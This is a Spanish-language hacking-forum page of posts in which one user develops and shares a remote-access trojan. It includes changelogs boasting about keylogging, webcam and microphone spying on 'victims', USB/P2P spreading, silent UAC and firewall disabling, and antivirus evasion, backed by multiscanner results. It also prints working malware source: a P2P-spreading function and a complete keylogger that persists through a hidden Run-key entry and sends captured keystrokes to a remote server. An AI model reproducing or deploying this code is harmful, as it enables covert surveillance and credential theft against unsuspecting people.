Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - xxneeco83xx

#41
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
No claro, algo implementare.
Me encanta. A ver qué sale. Pero tienes razón, todo a su tiempo.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
le estoy dando prioridad a un error de conexion que tiene el servidor (este si pierde la conexion, y no logra reconectar luego de varios minutos, queda en nada, y consume mucho uso del CPU)
Quizá sea culpa del keylogger offline. Es un buen momento para estudiar el funcionamiento offline del bicho con un depurador como You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login. Estoy intentando compilar el código fuente pero estoy teniendo algún que otro problema. ¿Utilizaste algún IDE? ¿Qué compilador estás utilizando? Lo intento desde Code::Blocks con mingw32-gcc-g++ 4.8.1-4.

**EDIT**: Estoy jugando con la versión que has compilado tú y hay algunas cosas que no me gustan, comenzando por la transparencia en las ventanas. Habrá a quien le guste, pero me parece que sólo añade peso al programa sin cumplir ninguna función interesante. Además, dependiendo de la resolución de la pantalla al iniciar el programa, podemos quedarnos con una ventana sin botones que no podemos re-dimensionar. Adjunto imagen.

Pero bueno, son observaciones mías. Me gustan las cosas con interfaz cutre y funcionamiento óptimo. Los efectos visuales son mero maquillaje. (Aunque no todos piensan como yo)

Si son muchas cosas las que tengo que hacerle aun, trabaje bastante en lo que es el Servidor y casi poco en lo que es el cliente. por eso coloque en el post que hasta que no saque otra versión con muchas cosas corregidas y siendo FUD y demás no actualizare tan a menudo, con respecto al compilador uso Dev-Cpp con MinGW GCC 4.7.0 en Windows (cuando uso codeblocks tengo problema con la librería gdiplus).
El problema de colectividad ya logre resolverlo, y quite el uso de la API GetAsyncKeyState, y coloque el HOOK en el teclado. y ahora todo funciona mas fluido y sin consumir tantos recursos.
Son buenas y aceptables las criticas, no a todos puede gustarle en si el programa, como ya lo he dicho antes, me llevo bastante tiempo desarrollarlo y más aun corregir los bugs.
Pero ahora modificare el cliente, para que se ajuste a la resolución de pantalla dependiendo en cada ordenador que se ejecute, y le quitare la transparencia.

Gracias por la opinion! Saludos!
#42
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Cuando le das al boton ejecutar. El uac dice "Desea ejecutar como administrador" en caso de darle a No, no se ejecutara el programa
es decir que yo podria agregarle un modulo para que obtenga privilegios altos, pero de que sirviria si el UAC salta desde un comienzo diciendo que si desea aceptar ejecutar.
Bueno, hacemos las cosas más complicadas, pero sabemos que hay métodos para evadir AV's y UAC con You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login. Sería cuestión de implementarlo en "el bicho".
Es algo fácil de decir y difícil de implementar, pero ¿tenemos algo mejor que hacer?

No claro, algo implementare, actualmente le estoy dando prioridad a un error de conexion que tiene el servidor (este si pierde la conexion, y no logra reconectar luego de varios minutos, queda en nada, y consume mucho uso del CPU), luego de eso subire de nuevo, para quienes quieran usarlo sin bugs, y algo hecho sobre los privilegios. lo que son heuristica de avast, y eset. al menos no han detectado nada.
#43
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Si eso lo tenia en cuenta, pero aun no me he puesto a trabajar en ello, vere que metodo consigo agregarle. así evadirlo.  ::)
Todavía sigo leyéndolo a ratitos y me gusta cómo lo fuiste identificando todo.
Tengo una duda, que creo que es una errata.
OPENSC\Servidor\source\functions.h - Líneas de 498 a 574 (Función Spread_Ares)
Código: cpp
bool __stdcall Spread_Ares ( VOID )
{

HKEY key;
BOOL Install = FALSE;

DWORD cbSize = 256;

LPSTR Path, New, AppName;

AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );
Path = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), cbSize + 1 );

if ( RegOpenKeyExA ( HKEY_CURRENT_USER, "Software\\Ares", 0, KEY_QUERY_VALUE, &key ) == ERROR_SUCCESS )
{
Install = TRUE;

RegQueryValueEx ( key, ( LPSTR ) "Sys.Desktop", 0, 0, ( LPBYTE ) Path, & cbSize );

RegCloseKey ( key );
}
else
{

GlobalFree ( AppName );
GlobalFree ( Path );

RegCloseKey ( key );

return FALSE;
}

if ( Install = FALSE )
{

GlobalFree ( AppName );
GlobalFree ( Path );

return FALSE;

}

GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

if( PathFileExistsA ( Path ) )
{

for ( int i = 0; lista [ i ] != ( 0x00 ); lista [ i ++ ] )
{

New = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );

lstrcatA ( Path, "\\" );
lstrcpyA ( New, Path );
lstrcatA ( New, lista [ i ] );

CopyFileA ( AppName, New, FALSE );

GlobalFree ( New );
}

GlobalFree ( AppName );
GlobalFree ( Path );

return TRUE;

}
else
{
GlobalFree ( Path );
}

GlobalFree ( Path );
GlobalFree ( AppName );

return FALSE;
}

Primero creamos la variable Booleana Install poniéndolo en FALSE, y si el resultado de RegOpenKeyExA es ERROR_SUCCESS ponemos Install a True. Si no, la función devuelve FALSE. Pero además, luego, si Install está en FALSE se vuelve a repetir.
Código: cpp
BOOL Install = FALSE;
if ( RegOpenKeyExA ( HKEY_CURRENT_USER, "Software\\Ares", 0, KEY_QUERY_VALUE, &key ) == ERROR_SUCCESS )
{...}
else
{ GlobalFree ( AppName );
GlobalFree ( Path );
RegCloseKey ( key );
return FALSE;}

if ( Install = FALSE )
{ GlobalFree ( AppName );
GlobalFree ( Path );
return FALSE; }

¿Ésto es por algo o es una errata?

Ajá, no ese es un error mio, el problema, de igual forma si fallaba antes de comprobar si la variable era TRUE o FALSE; returnaria.
Pero ya gracias por el dato, corregido seria

Código: cpp
bool __stdcall Spread_Ares ( VOID )
{

HKEY key;

DWORD cbSize = 256;

LPSTR Path, New, AppName;

AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );
Path = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), cbSize + 1 );

if ( RegOpenKeyExA ( HKEY_CURRENT_USER, "Software\\Ares", 0, KEY_QUERY_VALUE, &key ) == ERROR_SUCCESS )
{

RegQueryValueEx ( key, ( LPSTR ) "Sys.Desktop", 0, 0, ( LPBYTE ) Path, & cbSize );

RegCloseKey ( key );
}
else
{

GlobalFree ( AppName );
GlobalFree ( Path );

RegCloseKey ( key );

return FALSE;
}

GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

if( PathFileExistsA ( Path ) )
{

for ( int i = 0; lista [ i ] != ( 0x00 ); lista [ i ++ ] )
{

New = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );

lstrcatA ( Path, "\\" );
lstrcpyA ( New, Path );
lstrcatA ( New, lista [ i ] );

CopyFileA ( AppName, New, FALSE );

GlobalFree ( New );
}

GlobalFree ( AppName );
GlobalFree ( Path );

return TRUE;

}

GlobalFree ( Path );
GlobalFree ( AppName );

return FALSE;
}


Por cierto, eso del UAC que comentas entiendo a lo que te refieres, pero yo cuando testie el servidor en Windows Xp, Vista, 7. no hacia falta ejecutar como administrador, ya que el compilado tiene incluido la marca Microsoft® por lo que lo toma como un archivo del sistema, si hasta si te fijas cuando crea el servicio, si tu accedes al msconfig, y marcas la casilla ocultar servicios de microsoft, (esto también funciona en Windows 10)
este también oculta el servicio del servidor, lo toma como si fuera de Microsoft.
Volviendo a lo anterior, hasta windows 7 el UAC no salta, y asi lo abran como o sin administrador, este funciona igual.
Ya de Windows 8 en adelante, actualmente poseo Windows 10. pero en la virtual machine probe (esta tiene Windows 8)
Cuando le das al boton ejecutar. El uac dice "Desea ejecutar como administrador" en caso de darle a No, no se ejecutara el programa
es decir que yo podria agregarle un modulo para que obtenga privilegios altos, pero de que sirviria si el UAC salta desde un comienzo diciendo que si desea aceptar ejecutar.
#44
Si eso lo tenia en cuenta, pero aun no me he puesto a trabajar en ello, vere que metodo consigo agregarle. así evadirlo.  ::)
#45
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
uuff ! si disculpen. inconcientemente le habre puesto otra contraseña, pero bueno, Ya resubi una nueva version que saque ayer por la noche, jaja con otras corregidas.
y la pass si va a ser correcta.  :D
Gracias, bro. Echándole un vistazo por encima ya vi que lo tienes muy bien ordenado y comentado. Eso se agradece muchísimo.
En cuanto tenga un ratito me paro con calma con él.

Buenisimo, me comentas a ver que tal, y quienes los hayan probado, se agradece sus opiniones y reportes.
#46
uuff ! si disculpen. inconcientemente le habre puesto otra contraseña, pero bueno, Ya resubi una nueva version que saque ayer por la noche, jaja con otras corregidas.
y la pass si va a ser correcta.  :D
#47
Interesante... como avanza el malware  ;D
#48
Ya vi la fecha y demas! pero solo es para comentar algo!
Muy buenos todos tus aportes! la verdad, tienen todo.  ;)
Sigue así, eres grande!
#49
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Muy buen trabajo, un saludo.

Muchas gracias !  :D, estaré actualizándolo.
#50
En un rato, subire un link nuevo, con un bug corregido, de autoarranque. (este no funcionaba como debia ser), y adjuntare el codigo source, para que puedan analizarlo y estudiarlo.  ;D
#51
Hola ! aqui una nueva actualizacion del programa.
Como había comentado ya antes en el ultimo post estaba trabajando en lo que es el FileManager v2.
Y aproveche para armar otros proyectos de por medio y trabajar de a ratos en el troyano.
Aquí las updates del dia.

NOTA :
NO SUBIR A You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login



ACTUALIZADO 14/08/2015 :

*FileManager Actualizado
+Se agrego menú contextual con las opciones disponibles
+Crear carpeta
+Borrar
+Descargar
+Actualizar
+Subir
**Ahora el FileManager incorporo los directorios fijos [Escritorio], [Archivos de Programa], [Temporales], etc.
*Se corrigió el botón Atrás.
*Se corrigió el error que hacia perder el directorio de los archivos luego de presionar Atrás.
*Al enviar archivos y descargar los mismos por medio de FileManager, la barra de progreso informara el estado de descarga/subida.

*Se corrigió un error en Windows x64. ahora es compatible.
*Se agrego un intervalo para el envió de datos extensos, así evitando la perdida de los mismos.
*Envió de teclas actualizado [Ahora permite el envió de teclas especiales de esta manera]
+ {ENTER}, {ESC}, {ALT}
+ Mensajes completos a ser enviados.

*Se agrego método de encryptacion propio, para las cadenas de texto y registros de lectura.
*Se corrigió el método de borrar archivos a la hora de eliminar carpetas

*En cliente se modifico el skin
*Se corrigieron algunos errores de programación


ACTUALIZADO 04/08/2015 :

*Se incorporo un nuevo comando (Revisar ventanas abiertas)
*Se agrego en el administrador de tareas remoto, la ruta del proceso activo (ejecutado)


ACTUALIZADO 03/08/2015:

*En cliente - se quito la transparencia de los formularios
*Se corrigió un error que hacia que el servidor crasheara repentinamente.
(ahora es estable en todos los sistemas)
*Se agrego auto-size (se ajusta a todas las resoluciones de pantalla) y los formularios
ahora son resizables, minimizables y maximizables.
*Se corrigió un error que no permitía ejecutar en Windows XP (Servidor)
*Se corrigió un error de ScreenShot perdía demasiadas imágenes (Cliente)
*Se corrigió un bug en el script batch que mantenía ejecutado el programa
(ahora no ejecuta tantas veces el proceso cmd.exe & conhost.exe)
si el script es cerrado, cerrara todo y se volverá a auto-ejecutar.
*En el keylogger offline, en algunos SO daba error al insertar el HOOK.
(Se corrigió, y ahora funciona correctamente, sin problemas)
*Servidor (Se quito código basura, y se reestructuraron algunas partes de código)
*Se cambio la imagen de splash de inicio & saber más!
*Se cambio la imagen de sonido de ambiente que suena cuando se presiona datos de autor. (Saber Más!)
*Se cambio el lugar donde se escribe el registro de inicio.
*Se acortaron algunos intervalos de espera para la reconexion.
*Testeado en Ordenadores con los siguientes antivirus instalados
(Windows XP - Avast 4.8) - ( Windows Seven Ultimate - Avast 5)
(Windows 8.1 - Bitdefender ) - ( Windows 10 - ESET 8 )
(Windows 8 - AVG )
Ningun antivirus detecto ninguna heuristica, ni nada sospechoso.
Peso del servidor con UPX - 55KB, peso del servidor sin UPX 172KB.


ACTUALIZADO 01/08/15:
*Se redujo el tamaño del stub ( server ) ( 50kbs aprox )
*Se quito el icono predeterminado
*Se mejoro el rendimiento y velocidad
*Se corrigió el problema de muchas ejecuciones del mismo servidor
*Se cambio el método de obtener las teclas presionadas, ahora se utiliza HOOKS en el teclado y ya no mas el API GetAsyncKeyState que consumía demaciados recursos
y hacia que fuera mucho mas sospechoso
*Se corrigió un error que hacia cerrar el servidor ni bien era ejecutado en algunos casos.
*Des-habilita el UAC sin notificación.
*En el cliente se cambio el Skin y la música de ambiente, en el botón Saber mas!
*Se comentaron mas lineas de código y algunas funciones fueron re-programadas.

ACTUALIZADO 29/07/15:
*Se corrigió el PASS del RAR para que puedan descomprimirlo
*Se corrigió bug en el FileManager, a la hora de descargar un archivo desde el remoto este daba un nombre indebido.
*Se corrigió un bug's en la captura de pantalla cuando este cliente recibía demasiadas, ahora corre sin problemas.
*Se añadió un modulo que hace que si el servidor se cierra, o lo cierran, desconecta y demás, este sera de nuevo ejecutado.
*Se simplificaron varias lineas de código.


ACTUALIZADO 28/07/15:
*Se corrigió el error de auto-inicio (este no iniciaba correctamente)
*Se agrego función de subir archivos a rutas determinadas en el FileManager
*Se modificaron varios formularios, y se mejoro la accesibilidad para el usuario.
*Se corrigieron mensajes mal impresos.



Algunas funciones :

*Keylogger offline & Online
*Monitoreo de la victima, WebCam & Escritorio remoto.
*FileManager (Manejo de archivos remotos)
*Envio de archivos, y recibir archivos remotos.
*Downloader
*Spread USB|P2P
*Payloads (Diversion del usuario con la victima)
*Escuchar microfono remoto
*Envio de mensajes
*Manejo de servicios
*Desactivar Firewall
*Conexiones multiples
*Soporta UPX compresion.
*Es bastante estable
*Consta con muchas opciones mas.


En que sistema funciona ?
Multi SO - XP/Vista/Seven/8/10


























Analize el servidor en You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login. aqui los resultados.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


Scanner   Engine Ver   Sig Ver   Sig Date   Scan result   Time

ahnlab   9.9.9   9.9.9   2013-05-28   Found nothing
antivir   1.9.2.0   1.9.159.0   7.11.250.172   Found nothing
antiy   AVL SDK 3.0   2014112615531100   2014-11-26   Found nothing
arcavir   1.0   2011   2014-05-30   Found nothing
asquared   9.0.0.4157   9.0.0.4157   2014-07-30   Found nothing
avast   150727-1   4.7.4   2015-07-27   Found nothing
avg   2109/8526   10.0.1405   2015-01-30   Found nothing
baidu   2.0.1.0   4.1.3.52192   2.0.1.0   Trojan.Backdoor.Heur.gen
baidusd   1.0   1.0   2014-04-02   Found nothing
bitdefender   7.58879   7.90123   2015-01-16   Found nothing
clamav   20725   0.97.5   2015-07-26   PUA.Win32.Packer.UpxProtector
comodo   15023   5.1   2014-11-24   Found nothing
ctch   4.6.5   5.3.14   2013-12-01   Found nothing
drweb   5.0.2.3300   5.0.1.1   2015-07-21   Found nothing
fortinet   26.983   5.1.158   2015-07-27   Found nothing
fprot   4.6.2.117   6.5.1.5418   2015-07-27   W32/Felix:VC_program!Eldorado
fsecure   2014-04-02-01   9.13   2014-04-02   Found nothing
gdata   24.3819   24.3819   2014-08-29   Found nothing
hauri   2.73   2.73   2014-06-13   Found nothing
ikarus   1.06.01   V1.32.31.0   2015-07-27   Found nothing
jiangmin   16.0.100   1.0.0.0   2014-07-28   Found nothing
kaspersky   5.5.33   5.5.33   2014-04-01   Found nothing
kingsoft   2.1   2.1   2013-09-22   Found nothing
mcafee   7638   5400.1158   2014-11-30   Found nothing
nod32   1777   3.0.21   2015-06-12   Found nothing
panda   9.05.01   9.05.01   2014-06-15   Found nothing
pcc   11.816.07   9.500-1005   2015-07-27   Found nothing
qh360   1.0.1   1.0.1   1.0.1   Found nothing   
qqphone   1.0.0.0   1.0.0.0   2015-07-28   Found nothing   
quickheal   14.00   14.00   2014-06-14   Found nothing   
rising   25.17.00.04   25.17.00.04   2014-06-02   Found nothing   
sophos   5.08   3.55.0   2014-12-01   Found nothing
sunbelt   3.9.2589.2   3.9.2589.2   2014-06-13   Found nothing   
symantec   20150721.001   1.3.0.24   2015-07-21   Found nothing   
tachyon   9.9.9   9.9.9   2013-12-27   Found nothing   3
thehacker   6.8.0.5   6.8.0.5   2014-06-12   Posible_Worm32   
tws   17.47.17308   1.0.2.2108   2014-06-16   Found nothing   
vba   3.12.26.4   3.12.26.4   2015-07-27   Found nothing   
virusbuster   15.0.985.0   5.5.2.13   2014-12-05   Found nothing   

El servidor esta programado en C++, y el cliente en Visual Basic 6.0
Al que le interese el código, simplemente que me mande un MP.

Aqui sin mas les dejo el programa, cualquier duda, reporte de bug, comentario u opinión son bien recibidos, mientras mas grande sea el apoyo, mas incita a continuar el programa, muchas gracias!!


TROYANO JUNTO CON SU CODIGO + Plus - Una vacuna en caso de infección y su codigo.

Nuevo Link 14/08/2015

Link de la carpeta del proyecto

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Link directo del rar con codigo y binarios
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

PASS : xxneeco83xx


*TRABAJANDO ACTUALMENTE EN : Nuevas funciones
   8)
#52
Hola!  ;D andaba jugando un poco con los thread, y el hook, se me ocurrio hacer un mini keylogger.
Para agregarle a un troyano que tengo casi terminado, que también tengo pensado postear.
Pero al final veo que me quedare con otro metodo que tengo.
este metodo lo analize y me dio 2/56 antivirus.
Este se autoagrega al registro, y crea un hook en teclado y mouse. funciona con un servidor que lo que hace es conectarse, recibir el logger, y cerrarse.
Tiene muchas cosas por mejorar, pero quizás a alguien le interese y le sirva, pues bien.
En fin su método para trabajar es así, captura todo tipo de tecla, cuando detecta una conexion del cliente (conexion inversa) envia el log, borra el antiguo y sigue esperando otra conexion.

Código: c

#include <windows.h>
#include <stdio.h>
#include <winsock2.h>

#ifndef port_number
#define port_number 100
#endif

#ifndef host_name
#define host_name "127.0.0.1"
#endif

void CALLBACK SendFile ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime );
void CALLBACK Connect ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime );
void CALLBACK InyectSystem ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime );
LRESULT CALLBACK Keyboard ( int nCode, WPARAM wParam, LPARAM lParam );
DWORD WINAPI Inyect ( LPVOID lParam );

HHOOK hHook, MouseHook;
MSG msg;
DWORD thread, firstthread, dwBytes, threadconnect, cbSize = 256, SizeX, sendthread;
HANDLE Thread, FirstThread, ThreadConnect, FileX, Mutex, SendThread;

LPSTR AppName, Directory, Buffer, BufferX;

FILE *keylog;
char keylogger [ MAX_PATH + 1 ];
HKEY key;

PPERF_DATA_BLOCK Data;
WSADATA wsa;
WORD wVersion;
SOCKADDR_IN address;
SOCKET sock;
struct hostent * host;

void CALLBACK SendFile ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime )
{

FileX = CreateFile ( keylogger, GENERIC_READ, FILE_SHARE_READ, 0,
OPEN_EXISTING, 0, 0 );

if ( FileX == INVALID_HANDLE_VALUE )
{
closesocket ( sock );
WSACleanup ();

return;
}

SizeX = GetFileSize ( FileX, 0 );
BufferX = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( SizeX + 1 ) );
ReadFile ( FileX, BufferX, SizeX, &dwBytes, 0 );
CloseHandle ( FileX );

if ( send ( sock, BufferX, SizeX, 0 ) == SOCKET_ERROR )
{
printf ( "[ Error al enviar Log ]\n" );
}
else
{
printf ( "[ Exito al enviar log ]\n" );
//Eliminamos el log ya enviado.
DeleteFileA ( keylogger );
}

closesocket ( sock );
WSACleanup ();

return;

}

void CALLBACK Connect ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime )
{

wVersion = MAKEWORD ( 2, 2 );
ZeroMemory ( &address, sizeof ( SOCKADDR_IN ) );

if ( WSAStartup ( wVersion, &wsa ) != NO_ERROR )
{
printf ( " [ Error al inicializar el winsock ] \n" );
WSACleanup ();

return;
}

sock = socket ( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if ( sock == INVALID_SOCKET )
{
printf ( " [ Error al intentar crear socket ] \n" );
closesocket ( sock );
WSACleanup ();

return;
}

host = gethostbyname ( host_name );

address.sin_family = AF_INET;
address.sin_addr = *( ( struct in_addr * ) host -> h_addr_list [ 0 ] );
address.sin_port = htons ( port_number );
memset ( address.sin_zero, 0, 8 );

if ( connect ( sock, ( SOCKADDR *)&address, sizeof ( SOCKADDR ) ) != 0 )
{
printf ( " [ Error al intentar conectar con el servidor ] \n" );
closesocket ( sock );
WSACleanup ();

return;
}

printf ( " [ Conexion establecida con el servidor ]\n" );

SendThread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE )SendFile, 0, 0, &sendthread );
if ( SendThread )
{
WaitForSingleObject ( SendThread, 5000 );
}

closesocket ( sock );
WSACleanup ();

return;

}

void CALLBACK InyectSystem ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime )
{

ThreadConnect = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE ) Connect, 0, 0, &threadconnect );

AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );
GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

Directory = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );
GetEnvironmentVariableA ( "HomeDrive", Directory, MAX_PATH );

CopyMemory ( & Directory [ lstrlenA ( Directory ) ], &"\\userboot.exe", lstrlenA ( "userboot.exe" ) + 1 );

CopyFileA ( AppName, Directory, true );

if ( RegOpenKeyExA ( HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &key ) == ERROR_SUCCESS )
{
Data = ( PPERF_DATA_BLOCK ) LocalAlloc ( ( 0x0000 | 0x0040 ), 256 );
if ( RegQueryValueExA ( key, "Windows Boot", 0, 0, ( LPBYTE ) Data, &cbSize ) != ERROR_SUCCESS )
{
RegSetValueExA ( key, "Windows Boot", 0, REG_SZ, (const unsigned char*) Directory, ( BYTE ) lstrlenA ( Directory ) );
}

SetFileAttributesA ( Directory, ( 0x1 | 0x2 | 0x4 ) );

GlobalFree ( Data );
}

RegCloseKey ( key );

GlobalFree ( AppName );
GlobalFree ( Directory );

return;

}

LRESULT CALLBACK Keyboard ( int nCode, WPARAM wParam, LPARAM lParam )
{

if ( lstrlenA ( keylogger ) <= 0 )
{
wsprintfA ( keylogger, "%s\\logger.inf", getenv ( "windir" ) );
}

Thread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE ) InyectSystem, 0, 0, &thread );

if ( nCode < 0 )
{
return CallNextHookEx ( hHook, nCode, wParam, lParam );
}

if ( wParam == WM_KEYDOWN )
{
PKBDLLHOOKSTRUCT teclado = ( PKBDLLHOOKSTRUCT ) lParam;

keylog = fopen ( keylogger, "a+" );

switch ( teclado -> vkCode )
{

case 13:
fprintf ( keylog, "\n" );
break;

case VK_NUMPAD0:
fprintf ( keylog, "0" );
break;

case VK_NUMPAD1:
fprintf ( keylog, "1" );
break;

case VK_NUMPAD2:
fprintf ( keylog, "2" );
break;

case VK_NUMPAD3:
fprintf ( keylog, "3" );
break;

case VK_NUMPAD4:
fprintf ( keylog, "4" );
break;

case VK_NUMPAD5:
fprintf ( keylog, "5" );
break;

case VK_NUMPAD6:
fprintf ( keylog, "6" );
break;

case VK_NUMPAD7:
fprintf ( keylog, "7" );
break;

case VK_NUMPAD8:
fprintf ( keylog, "8" );
break;

case VK_NUMPAD9:
fprintf ( keylog, "9" );
break;

case VK_ESCAPE:
fprintf ( keylog, " [ ESC ]" );
break;

default:
fprintf ( keylog, "%c", teclado -> vkCode );
}

free ( teclado );

fclose ( keylog );
}

return CallNextHookEx ( hHook, nCode, wParam, lParam );
}

DWORD WINAPI Inyect ( LPVOID lParam )
{

if ( GetLastError () == ERROR_ALREADY_EXISTS )
{
ExitProcess ( 0 );
}

hHook = SetWindowsHookEx ( WH_KEYBOARD_LL , (HOOKPROC) Keyboard, GetModuleHandleA ( 0L ), 0L );
MouseHook = SetWindowsHookEx ( WH_MOUSE_LL, (HOOKPROC) Keyboard, GetModuleHandleA ( 0L ), 0L );

while ( ! GetMessage ( & msg, 0, 0, 0 ) )
{
Thread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE ) InyectSystem, 0, 0, &thread );

TranslateMessage ( &msg );
DispatchMessage ( &msg );
}

UnhookWindowsHookEx ( hHook );
UnhookWindowsHookEx ( MouseHook );

return 0;

}

int APIENTRY WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFustil )
{

Mutex = CreateMutexA ( 0, 0, "JOKER" );

FirstThread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE )Inyect, 0, 0, &firstthread );

if ( FirstThread )
{
WaitForSingleObject ( FirstThread, INFINITE );
}

ReleaseMutex ( Mutex );
CloseHandle ( Mutex );
CloseHandle ( FirstThread );

return EXIT_SUCCESS;
}



Y el del servidor es simple, en VB6 crean un control winsock con el nombre Winsock1 y su codigo.

Código: vb

Private Sub Form_Load()
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> 0 Then
    Winsock1.Close
End If

Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
Winsock1.GetData Data

Open App.Path & "\keylogger.txt" For Append As #1
Print #1, Data
Close #1

End
End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
End
End Sub



Es todo, espero les guste, y se aceptan criticas.